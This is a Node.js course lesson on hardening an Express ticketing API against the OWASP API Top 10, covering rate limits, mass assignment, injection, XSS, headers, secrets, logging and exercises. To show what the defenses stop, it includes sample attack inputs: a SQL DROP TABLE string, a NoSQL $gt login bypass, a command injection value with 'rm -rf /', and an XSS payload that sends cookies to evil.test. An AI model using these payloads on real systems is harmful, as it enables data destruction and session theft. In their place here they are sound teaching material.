Escena Viva already knows who is calling and what each caller may do. Passwords are properly hashed, tokens rotate, the permission matrix is written down, and the userId in buyTickets is a conclusion drawn by the server rather than a value supplied by the client. That solves two of the ten fronts of a real API.
This lesson closes the module with the other eight: the checklist that turns an API that works into an API that can be defended. It is not a collection of loose tricks — it is a walk through the OWASP API Security Top 10 applied point by point to Escena Viva, with the concrete code for each defense.
Contents
- The OWASP API Security Top 10 in Escena Viva
- Rate limiting
- Size, complexity and time limits
- Mass assignment and excessive data exposure
- Injection: SQL, NoSQL and commands
- XSS and output sanitization
- Security headers with helmet
- HTTPS, HSTS and
Secure - Secret management
- Logging and monitoring of security events
- Vulnerable dependencies and an honest warning
- Common mistakes, exercises and conclusion
- The OWASP API Security Top 10 in Escena Viva
OWASP maintains a list specific to APIs because an API's failures are not those of a traditional website: there are no forms to sanitize here, there are endpoints that hand JSON to anyone who knows how to ask.
| # | Risk | What it means | What Escena Viva does |
|---|---|---|---|
| 1 | Broken object level authorization | Reaching someone else's resources by their id | Filter by userId inside the query, in the repository (08-05) |
| 2 | Broken authentication | Weak login, badly built tokens, no limits | bcrypt with a measured cost, JWT with pinned algorithms, rotating refresh (08-02, 08-04) |
| 3 | Broken object property level authorization | Reading or writing fields you should not | .strict() zod schemas on the way in and explicit projections on the way out |
| 4 | Unrestricted resource consumption | Requests that exhaust CPU, memory or money | express-rate-limit per route, body cap, pagination with a maximum, timeouts |
| 5 | Broken function level authorization | Calling an administration endpoint without being one | requireRole on every route; deny by default (08-05) |
| 6 | Unrestricted access to sensitive business flows | Automating purchases and hoarding capacity | purchaseLimit per user, mandatory e-mail verification before buying |
| 7 | Server side request forgery (SSRF) | The server fetches a URL the client gave it | Escena Viva accepts no user URLs; if it accepted poster images, a domain allowlist |
| 8 | Security misconfiguration | Missing headers, open CORS, errors with stack traces | helmet, CORS with an allowlist, an errorHandler that leaks no internals (M6) |
| 9 | Improper inventory management | Old versions or staging environments left alive | A single /api version, no exposed staging environments, up-to-date documentation |
| 10 | Unsafe consumption of APIs | Blindly trusting third-party responses | The payment gateway will be validated like any other input |
The three most underestimated are 3, 6 and 9. Number 3 because "returning the whole object" looks convenient. Number 6 because it is not a technical failure but a business one: the API works perfectly while a scalper drains the Festival de Jazz's capacity. And number 9 because the endpoint that compromises you is usually the one you forgot existed.
- Rate limiting
A single generalLimit for the whole API is not enough: routes neither cost the same nor are worth the same to an attacker.
// src/middleware/limits.js (complete module 8 version)
'use strict';
const rateLimit = require('express-rate-limit');
// 429 in the usual error format (M6). With standardHeaders,
// express-rate-limit adds Retry-After and the RateLimit-* headers.
const limitResponse = (req, res) => res.status(429).json({
error: { code: 'TOO_MANY_REQUESTS', status: 429,
message: 'You have exceeded the request limit. Try again later' },
});
const base = { standardHeaders: 'draft-7', legacyHeaders: false, handler: limitResponse };
// Catalog: generous, it is public and cacheable content.
const generalLimit = rateLimit({ ...base, windowMs: 15 * 60 * 1000, limit: 300 });
// Login: very strict. Key by IP + e-mail to also slow the distributed
// attack against ONE account from many IP addresses.
const loginLimit = rateLimit({
...base, windowMs: 15 * 60 * 1000, limit: 10,
keyGenerator: (req) => `${req.ip}:${String(req.body?.email || '').toLowerCase()}`,
skipSuccessfulRequests: true, // successes do not spend quota
});
// Registration: creating accounts is expensive (bcrypt) and gets abused for spam.
const registerLimit = rateLimit({ ...base, windowMs: 60 * 60 * 1000, limit: 5 });
// Refresh: a healthy client refreshes every 15 min. More than that is anomalous.
const refreshLimit = rateLimit({ ...base, windowMs: 15 * 60 * 1000, limit: 20 });
// Purchase: per authenticated USER, not per IP. A family shares an IP; a
// scalper uses many IPs. Identity is the useful key.
const purchaseLimit = rateLimit({ ...base, windowMs: 60 * 1000, limit: 5,
keyGenerator: (req) => req.user?.id || req.ip });
module.exports = { generalLimit, loginLimit, registerLimit, refreshLimit, purchaseLimit };| Route | Window / limit | Key | Reason |
|---|---|---|---|
GET /api/events |
15 min / 300 | IP | Public content |
POST /auth/login |
15 min / 10 | IP + e-mail | Brute force and credential stuffing |
POST /auth/register |
1 h / 5 | IP | Junk accounts; bcrypt is expensive |
POST /auth/refresh |
15 min / 20 | IP | Detect loops and abuse |
POST /api/purchases |
1 min / 5 | User | Ticket hoarding |
The proxy problem. Behind Nginx, a load balancer or a CDN, req.ip is the proxy's address: every request shares a key and the limit runs out for everybody at once. The solution, already seen in Module 6, is app.set('trust proxy', 1) with the number of trusted proxies — never true in production, because that makes Express believe any X-Forwarded-For and an attacker could spoof their IP to slip past the limits.
The multiple-process problem. The default express-rate-limit store lives in the process's memory. With cluster or with two containers, each process keeps its own count: a limit of 10 becomes 10 × the number of processes. The solution is a shared store in Redis, developed in Module 10 along with cluster and distributed rate limiting.
- Size, complexity and time limits
Anything the client controls and that has no cap is a denial of service waiting to happen.
// src/app.js: a 100 KB body is more than enough for any Escena Viva request.
// With no limit, a 500 MB body takes down the process on memory.
app.use(express.json({ limit: '100kb' }));
app.use(express.urlencoded({ extended: false, limit: '10kb' }));
// src/server.js: full headers within 10 s slows Slowloris, which opens
// connections and dribbles headers out to exhaust the pool.
server.headersTimeout = 10_000;
server.requestTimeout = 30_000; // complete request
server.keepAliveTimeout = 65_000; // above the typical ALB (60 s)Mandatory pagination with a cap. GET /api/events with no limit invites ?perPage=1000000:
// src/schemas/common.js. The .max(100) is the hard cap: validation
// REJECTS, it does not silently trim, so the client knows its request
// was invalid.
const paginationSchema = z.object({
page: z.coerce.number().int().min(1).default(1),
perPage: z.coerce.number().int().min(1).max(100).default(20),
}).strict();And the complexity limits that are not about size:
| Limit | Value in Escena Viva | What it prevents |
|---|---|---|
| Body size | 100 KB | Exhausting memory |
| Password length | 72 characters | Deliberately expensive hashing |
| Items per page / tickets per purchase | 100 / 10 | Gigantic queries; hoarding |
| JSON object depth | Flat by zod schema | Pathological parsing |
| Request time | 30 s | Hung connections |
- Mass assignment and excessive data exposure
It already came up in 08-02 and 08-05; here it gets formalized. Mass assignment is dumping the request body straight into a model, with User.create(req.body) or Object.assign(event, req.body). With a body of {"email":"…","password":"…","role":"administrator","verified":true} the attacker makes themselves a verified administrator; and {"sold": 0} resets the sales of a Festival de Jazz session. The defense is the Module 6 zod schemas used as an allowlist, plus a controller that builds the object field by field:
// src/schemas/event.js
const updateEventSchema = z.object({
title: z.string().trim().min(3).max(200).optional(),
description: z.string().trim().max(2000).optional(),
}).strict(); // <- rejects ANY field not listed
// Explicit fields in the controller: what is not named is not written.
const { title, description } = req.validatedData.body;
const changes = {};
if (title !== undefined) { changes.title = title; }
if (description !== undefined) { changes.description = description; }
await updateEvent(req.params.id, changes);The fields that are never accepted from the client: role, verified, passwordHash, status (transitions have their own endpoints), sold, createdAt, _id, userId.
The complementary side: excessive data exposure. The same problem in reverse — returning the whole document and trusting the front-end to hide what is surplus. Instead of res.json(user), which exposes internal fields and possibly the hash, an explicit projection: res.json({ user: { id, name, email, role } }). That is why the User model carries select: false on passwordHash and a toJSON that removes it: two layers for the same failure.
- Injection: SQL, NoSQL and commands
SQL. Solved in Module 7 with parameterized queries. The difference:
// HOLE: concatenation. With venue = "x'; DROP TABLE tickets; --"...
const [rows] = await sequelize.query(`SELECT * FROM events WHERE venue = '${venue}'`);
// CORRECT: parameters. The engine treats the value ALWAYS as data, never
// as part of the statement.
const [rows] = await sequelize.query('SELECT * FROM events WHERE venue = :venue',
{ replacements: { venue }, type: QueryTypes.SELECT });NoSQL. This is the surprising one, because there are no strings to concatenate. Mongoose accepts objects as query values, and a JSON body can contain objects: { "email": { "$gt": "" }, "password": { "$gt": "" } }. If the code does User.findOne({ email: req.body.email }), the $gt: "" operator means "any email greater than the empty string" and returns the first user in the collection; combined with a badly written login, that is a way in with no password. The defenses, in order of effectiveness:
- Validate the type with zod.
z.string().email()rejects an object outright. That is the primary defense, and we have had it since Module 6. - Coerce explicitly:
String(req.body.email)turns the object into"[object Object]", which is harmless. - Mongoose's
sanitizeFilterorexpress-mongo-sanitizeas a safety net, not as the primary defense; and never passreq.bodystraight tofind().
Command injection. If Escena Viva ever generated ticket PDFs by calling a binary:
// HOLE: exec runs the string through a shell. With the ticket code
// "EV-2026-000001; rm -rf /" both commands are executed.
exec(`convert --code ${ticketCode}`);
// CORRECT: execFile uses no shell, and arguments are arguments
execFile('convert', ['--code', ticketCode]);And even then, validate ticketCode against the EV-<year>-<6 digits> format with an anchored regular expression.
- XSS and output sanitization
"We return JSON, XSS is not our problem" is a half-dangerous line of reasoning. It is true that JSON does not execute scripts; it is false that the API plays no part in the problem.
The real scenario: the organizer of Teatro Almendra creates an event titled <img src=x onerror="fetch('https://evil.test?c='+document.cookie)">. The API stores it and returns it. The front-end inserts it with innerHTML into the event page. The script runs in every visitor's browser. That is stored XSS, and the API was the vehicle.
The defenses, in layers:
| Layer | Measure | Owner |
|---|---|---|
| Input | Validate format and length with zod; reject anything that does not fit | API |
| Storage | Store the text as is, unescaped (escaping on write corrupts the data) | API |
| Output and rendering | Escape according to context; textContent instead of innerHTML (React and Vue do it for you) |
Front-end |
| Rich HTML | DOMPurify if HTML is allowed in descriptions |
Front-end |
| Defense in depth | Content-Security-Policy; HttpOnly cookies and the access token in memory |
API (08-04) |
The rule that clears up the confusion: you escape on output, according to context, not on input. The same title needs different escaping in HTML, in an attribute, in JavaScript or in a URL. Escaping on write produces stored < sequences that show up visibly when the data is used somewhere else.
What the API does do: Content-Type: application/json always (never text/html with user data), X-Content-Type-Options: nosniff via helmet, and a strict CSP for the static front-end.
- Security headers with helmet
helmet has been wired in since Module 6. Let us go over it now with judgment:
// src/app.js (excerpt)
app.use(helmet({
contentSecurityPolicy: { directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"], // no 'unsafe-inline': kills reflected XSS
styleSrc: ["'self'"],
imgSrc: ["'self'", 'data:'],
connectSrc: ["'self'", 'https://api.escenaviva.test'],
frameAncestors: ["'none'"], // nobody puts us in an iframe
objectSrc: ["'none'"],
upgradeInsecureRequests: [],
} },
hsts: { maxAge: 31_536_000, includeSubDomains: true, preload: true },
referrerPolicy: { policy: 'no-referrer' },
crossOriginResourcePolicy: { policy: 'same-site' },
}));
app.disable('x-powered-by'); // a header that gives the technology away: gone| Header | What it does | Attack it mitigates |
|---|---|---|
Content-Security-Policy |
Restricts where scripts and resources load from | XSS (the most powerful defense in depth) |
Strict-Transport-Security |
Forces HTTPS for a year | Downgrade to HTTP, sslstrip |
X-Content-Type-Options: nosniff |
Forbids type guessing | JSON interpreted as HTML |
X-Frame-Options / frame-ancestors |
Prevents framing | Clickjacking |
Referrer-Policy / Cross-Origin-Resource-Policy |
Does not leak the originating URL; restricts who can embed responses | Token leakage in URLs; cross-site leaks |
And the CORS setup from Module 6, with the rule that is not up for negotiation:
// Explicit allowlist. NEVER origin: '*' with credentials: true (the browser
// rejects it, and the attempt reveals a mistaken design).
const corsAllowlist = cors({
origin: (origin, callback) => (!origin || configuration.allowedOrigins.includes(origin)
? callback(null, true)
: callback(new Error('Origin not allowed'))),
credentials: true, maxAge: 600,
});Remember too that CORS is not authorization: it is a browser protection. curl ignores CORS entirely. An endpoint without authentication is not protected just because CORS is restricted.
- HTTPS, HSTS and
Secure
SecureWithout TLS, everything above is set dressing. Travelling in the clear over the network you have Lucía's password in the POST /auth/login, the access token in every Authorization header, and the refresh cookie. Anyone on the same Wi-Fi reads it.
The three pieces: HTTPS everywhere (not just on the login: if the token travels in the clear once, it is over); HSTS (Strict-Transport-Security), which makes the browser remember for a year that this domain is HTTPS-only and refuse even the first cleartext hop — with preload, it ships that way out of the box; and an HTTP-to-HTTPS redirect for anyone typing the address by hand.
// 308 redirect in production, when the proxy terminates TLS.
if (configuration.nodeEnv === 'production') {
app.use((req, res, next) => (req.secure // req.secure works thanks to
? next() // app.set('trust proxy', 1)
: res.redirect(308, `https://${req.headers.host}${req.originalUrl}`)));
}With HTTPS mandatory, Secure on cookies stops being optional: without it, the 30-day refresh cookie would be sent on any accidental HTTP request. And the __Host- prefix forces the browser to check for Secure, Path=/ and the absence of Domain.
TLS deployment, Let's Encrypt certificates and termination at the proxy are wrapped up in Module 11.
- Secret management
Escena Viva currently handles: MONGODB_URL, POSTGRES_URL, SESSION_SECRETS, JWT_ACCESS_SECRET, JWT_REFRESH_SECRET, CSRF_SECRET. The rules:
- Out of the code. Everything goes through
src/config/index.js, the only place that readsprocess.env. Agrep -r 'process.env' src/returning anything outside that file is a review failure. - Out of the repository.
.envin.gitignoresince Module 5;.env.exampleversioned with the names and no values. - Different per environment, with sufficient length (32 characters minimum, generated with
randomBytes, never invented phrases) and rotatable: that is whySESSION_SECRETSis a list. - Validated at startup: better that the process refuses to boot than that it serves insecurely.
What to do when a secret leaks, in this order and skipping nothing:
- Rotate immediately. That comes first, before investigating anything.
- Invalidate what derives from it: if it was the JWT secret, every token stops working; if it was the session secret, every session falls. It is annoying and it is correct.
- Investigate the scope: what could be done with it and how long it was exposed.
- Audit the logs looking for anomalous use during that period.
- Purge it from the Git history if it ended up there — and even so, treat it as compromised forever: somebody may have cloned the repository.
- Document the incident and add the detection that would have prevented it (secret scanners in CI, pre-commit hooks).
The most expensive mistake is step 5 without step 1: rewriting history and believing the secret is secret again.
- Logging and monitoring of security events
An attack nobody sees is a successful attack. What to log:
| Event | Why it matters |
|---|---|
| Failed login; successful login from a new IP or country | Brute force, credential stuffing, compromised account |
| Password, e-mail or role change | Account takeover; privilege escalation (08-05) |
| Family revocation triggered by refresh reuse | Stolen token (08-04) |
| Repeated 403s or 429s from the same user | Permission probing; automation |
| A burst of 500 errors | Exploitation under way or a serious bug |
What never appears in a log: passwords (not even hashed), access or refresh tokens, cookies, Authorization headers, recovery tokens, or the full body of an authentication request.
// src/logging/redact.js
'use strict';
const REDACTED_FIELDS = new Set([
'password', 'currentPassword', 'newPassword', 'passwordHash',
'token', 'accessToken', 'refresh', 'authorization', 'cookie', 'set-cookie',
]);
// Recursive redaction before logging any object. The real failure is rarely a
// console.log(password), it is dumping the whole request into an error
// reporter.
function redact(value, depth = 0) {
if (depth > 5 || value === null || typeof value !== 'object') { return value; }
const output = Array.isArray(value) ? [] : {};
for (const [key, content] of Object.entries(value)) {
output[key] = REDACTED_FIELDS.has(key.toLowerCase())
? '[REDACTED]' : redact(content, depth + 1);
}
return output;
}
module.exports = { redact, REDACTED_FIELDS };Logs must be structured (JSON), carry the Module 6 requestId for correlation, and have a retention policy (they are personal data). Production logging, shipping it to a centralized system and alerting are developed in Module 11.
- Vulnerable dependencies and an honest warning
In Module 5 we covered npm audit and supply chain security. It matters especially here, because Module 8 has added dependencies that are on the critical path of authentication: bcrypt, jsonwebtoken, express-session, passport, passport-local, csrf-csrf. The minimum practices: npm audit --omit=dev (the audit script in package.json), npm outdated to spot stale versions, npm ci for reproducible installs from the lockfile, a versioned package-lock.json, the audit as a step that breaks the build on high or critical vulnerabilities, automated updates reviewed by a human, and no new dependency without checking its maintenance and its transitive dependencies. CI is set up in Module 11.
And now, the warning. Everything in this module is correct and necessary. It is not sufficient.
- This lesson is not a substitute for a professional security audit. A specialist finds what a developer cannot see precisely because they know their own code too well.
- If Escena Viva processes real payments, it falls within the scope of PCI DSS. The correct answer is almost always not to touch card data: delegate to a gateway (Stripe, Redsys) and store nothing.
- If it handles personal data of EU residents, GDPR applies: legal basis, minimization, rights of access and erasure, a record of processing activities and breach notification within 72 hours.
- Security is not a state, it is a process: dependencies age, new attacks appear, code changes.
- And a golden rule: if your security decision depends on an attacker not knowing something, that is not security, it is hope.
Common Mistakes and Tips
trust proxy: truein production. It makes Express believe anyX-Forwarded-For: an attacker spoofs their IP and dodges every limit. Set the number of real proxies.- Limiting by IP only. Behind a CDN or a shared mobile network it punishes the innocent and does not stop whoever rotates addresses. Limit by identity wherever there is one.
- Believing CORS protects the API: it is a browser protection, and
curlknows nothing about it. Or escaping HTML on write, which corrupts the data and does not protect in other contexts; you escape on output. res.json(document)with no projection. Excessive data exposure, the most frequent silent failure there is.- Returning the stack trace to the client. It gives away paths, versions and internal structure. The Module 6
errorHandleronly returns messages from operational errors. - Leaving an old API version alive. The forgotten endpoint does not have the new defenses.
- Tip: turn this lesson into a checklist in the repository and go through it at every code review. Security that depends on somebody's memory is lost in the first busy week.
- Tip: make CI fail on
npm audithigh vulnerabilities, on detected secrets and on routes with no authentication middleware — what you automate actually happens — and deny by default: a new route with no explicit policy must be unreachable, not public.
Exercises
Exercise 1: audit an endpoint
Find the six security flaws in this endpoint and rewrite it.
router.get('/api/users', async (req, res) => {
const filter = req.query.filter ? JSON.parse(req.query.filter) : {};
const users = await User.find(filter).select('+passwordHash');
res.json(users);
});Exercise 2: limiting a sensitive business flow
Festival de Jazz tickets (evt-003) sell out in seconds and we suspect scalpers. Design the limiting and control measures for POST /api/purchases, stating what each one measures and which attack it slows. Bear in mind that a scalper can create many accounts.
Exercise 3: the checklist
Write the Escena Viva security checklist grouped into four blocks (authentication, authorization, input/output, infrastructure), with at least four verifiable points per block. "Verifiable" means it can be answered yes or no by looking at the code.
Solutions
Exercise 1
- No authentication: anyone lists the users.
- No authorization: even if there were, listing users is administrator-only.
- NoSQL injection:
JSON.parseof a query parameter allows{"role":{"$ne":"attendee"}}or arbitrary filters. select('+passwordHash'): exposes every password hash. Unjustifiable outside the login.- No pagination:
find({})returns the whole collection; with many users it takes down the process on memory. res.json(users)with no projection: excessive data exposure (internal dates,__v,assignedVenue).
router.get('/api/users', authenticate, requireRole('administrator'),
validate(listUsersSchema, VALID_SOURCES.QUERY), // zod .strict()
async (req, res, next) => {
try {
const { page, perPage, role } = req.validatedData.query;
const filter = role ? { role } : {}; // built from VALIDATED values
const users = await User.find(filter)
.select('email name role verified createdAt') // explicit projection
.skip((page - 1) * perPage).limit(perPage).lean(); // cap: max 100 in zod
res.json({ page, perPage, users: users.map((u) => ({ id: String(u._id),
email: u.email, name: u.name, role: u.role, verified: u.verified })) });
} catch (error) { next(error); }
});Exercise 2
| Measure | What it measures | Attack it slows |
|---|---|---|
purchaseLimit: 5 requests/min per user |
Authenticated identity | Automation from one account |
| Maximum 6 tickets per order and 10 per session and user (business rule in the repository) | Historical accumulation | Hoarding through many small requests |
requireVerified and registerLimit (5 accounts/hour per IP) |
E-mail ownership; account creation | Throwaway accounts and account farms |
| Minimum account age on "high demand" events | The createdAt date |
Accounts created right before the sale |
| CAPTCHA past a threshold; a waiting room with a signed place in line | Behavior and order of arrival | Basic automation; simultaneous bursts |
| Auditing purchases by IP, card and user agent | Correlation between accounts | After-the-fact detection of account networks |
The first three are the foundation and can be implemented today with what we have learned. An honest note: a per-user limit cannot on its own stop somebody controlling a thousand verified accounts; that is why real control combines limits, friction (verification, account age) and after-the-fact detection, with the ability to cancel orders. And all of it with the Module 10 shared Redis store, because with several processes an in-memory limit multiplies.
Exercise 3
Authentication
- [ ] Passwords are hashed with bcrypt and the cost lives in
configuration, measured on the real hardware. - [ ]
passwordHashhasselect: falseand is removed intoJSON. - [ ] The login responds with an identical message, code and timing for a nonexistent user and a wrong password.
- [ ]
jwt.verifypinsalgorithms,issuerandaudienceexplicitly. - [ ] The refresh token is stored hashed, rotates on every use and detects reuse, and the access and refresh secrets are different and 32+ characters long.
Authorization
- [ ] Every non-public route carries
authenticateand an explicit permission check. - [ ] Queries for a user's own resources filter by
req.user.idinside the query. - [ ] 401 is distinguished from 403, and 404 is used where existence is sensitive.
- [ ] The policy lives in
src/authorization/policy.jsand there are no roleifstatements in the controllers. - [ ] No endpoint accepts
role,verifiedorstatusfrom the body, and role changes are audited and revoke the refresh tokens.
Input and output
- [ ] Every zod schema uses
.strict(); every listing has pagination with a maximum cap. - [ ]
express.jsonhaslimitconfigured. - [ ] No response returns an ODM document without an explicit projection.
- [ ] No database query receives
req.bodyorreq.queryunvalidated. - [ ] Non-operational errors leak neither message nor stack trace to the client.
Infrastructure
- [ ] helmet with CSP and HSTS;
x-powered-bydisabled; CORS with an allowlist, never'*'with credentials. - [ ]
trust proxyset to the real number of proxies. - [ ] Rate limits per route type, with an appropriate key (IP or user).
- [ ]
process.envis read only insrc/config/index.js, with validation at startup. - [ ]
npm auditclean of high vulnerabilities andpackage-lock.jsonversioned. - [ ] Logs are redacted and contain no credentials or tokens.
Conclusion
This lesson closes Module 8, and Escena Viva is a different API. We started with a buyTickets that accepted whatever userId the client felt like sending and we finish with a complete system: passwords hashed with bcrypt at a measured cost, registration and login that leak which e-mails exist neither through the message nor through the timing, properly built single-use tokens for verification and recovery; server sessions with Passport, with regeneration against session fixation and CSRF protection; short-lived access JWTs with pinned algorithms and a rotating refresh token in an HttpOnly cookie with reuse detection; a permission matrix turned into a centralized policy, with 401 and 403 cleanly separated and the owner filter pushed inside the query so that IDOR is impossible rather than merely avoidable. And, in this last lesson, the OWASP API Security Top 10 walked for real: limits tuned per route, size and pagination caps, mass assignment closed off with allowlists, SQL and NoSQL injection blocked at the edge, security headers chosen with judgment, mandatory HTTPS, managed secrets and monitored security events without ever logging a credential.
And now, the same uncomfortable question as always, the one this course asks you at the end of every module.
The Escena Viva API sells tickets, persists orders with transactions that prevent overselling, authenticates users, rotates tokens and authorizes operations by role and ownership. It does an enormous number of things. And nobody has ever checked that it works. Not once. npm test has been failing on purpose since Module 5, and every line of security we have written across these six lessons — the bcrypt decoy, refresh reuse detection, every cell of the permission matrix — rests today on the faith that we wrote it correctly. One inverted if in canManageEvent would open the entire catalog with nothing to warn us.
In Module 9 we put an end to that: unit tests with Mocha and Chai, test doubles with Sinon, integration tests with supertest against the real application, coverage and debugging. You will see that the authorization policy, being pure functions, is tested end to end with a case table that walks the matrix cell by cell. And you will discover that authenticating inside tests has a technique of its own — how supertest gets a valid token without writing a password into the test code — which is exactly what we look at there.
Node.js Course: From Beginner to Advanced
Module 1: Introduction to Node.js
- What Is Node.js?
- Installing and Setting Up the Environment
- Your First Node.js Program
- The Node.js REPL
- Modern JavaScript for Node.js
- The Course Project: the Escena Viva Platform
Module 2: Core Concepts
- Node.js Architecture
- The Event Loop
- Callbacks and Asynchronous Programming
- Promises and async/await
- Events and EventEmitter
- CommonJS Modules and require()
- ES Modules and Interoperability
Module 3: File System and I/O
- Reading and Writing Files
- The fs Module in Depth
- Cross-Platform Paths with the path Module
- Working with Streams
- Transform Streams and pipeline
- Buffers and Binary Data
Module 4: HTTP and Web Servers
- Creating a Simple HTTP Server
- Handling Requests and Responses
- Manual Routing
- Serving Static Files
- Receiving Data: Request Bodies and JSON
- Consuming External APIs from Node.js
Module 5: NPM and Package Management
- Introduction to NPM and package.json
- Installing and Using Packages
- Semantic Versioning and package-lock
- npm Scripts and Project Automation
- Creating and Publishing Packages
- Dependency Security and Maintenance
Module 6: The Express.js Framework
- Introduction to Express.js
- Setting Up an Express Application
- Routing in Express
- Middleware
- Essential Third-Party Middleware
- Input Data Validation
- Error Handling
Module 7: Databases and ORMs
- Introduction to Databases
- Using MongoDB with Mongoose
- CRUD Operations
- Relationships, Population and Advanced Queries
- Using SQL Databases with Sequelize
- Migrations, Transactions and Seed Data
Module 8: Authentication and Authorization
- Introduction to Authentication
- User Registration and Password Hashing
- Sessions and Cookies with Passport.js
- Authentication with JWT
- Role-Based Access Control
- API Security Best Practices
Module 9: Testing and Debugging
- Introduction to Testing
- Unit Testing with Mocha and Chai
- Test Doubles with Sinon
- Integration Testing
- Coverage and Test Automation
- Debugging Node.js Applications
Module 10: Advanced Topics
- The Cluster Module
- Worker Threads
- Caching and Job Queues with Redis
- Performance Optimization
- Building RESTful APIs
- GraphQL with Node.js
Module 11: Deployment and DevOps
- Configuration and Environment Variables
- Logging and Monitoring in Production
- Using PM2 for Process Management
- Packaging with Docker
- Deploying to Heroku and Other PaaS
- Continuous Integration and Deployment
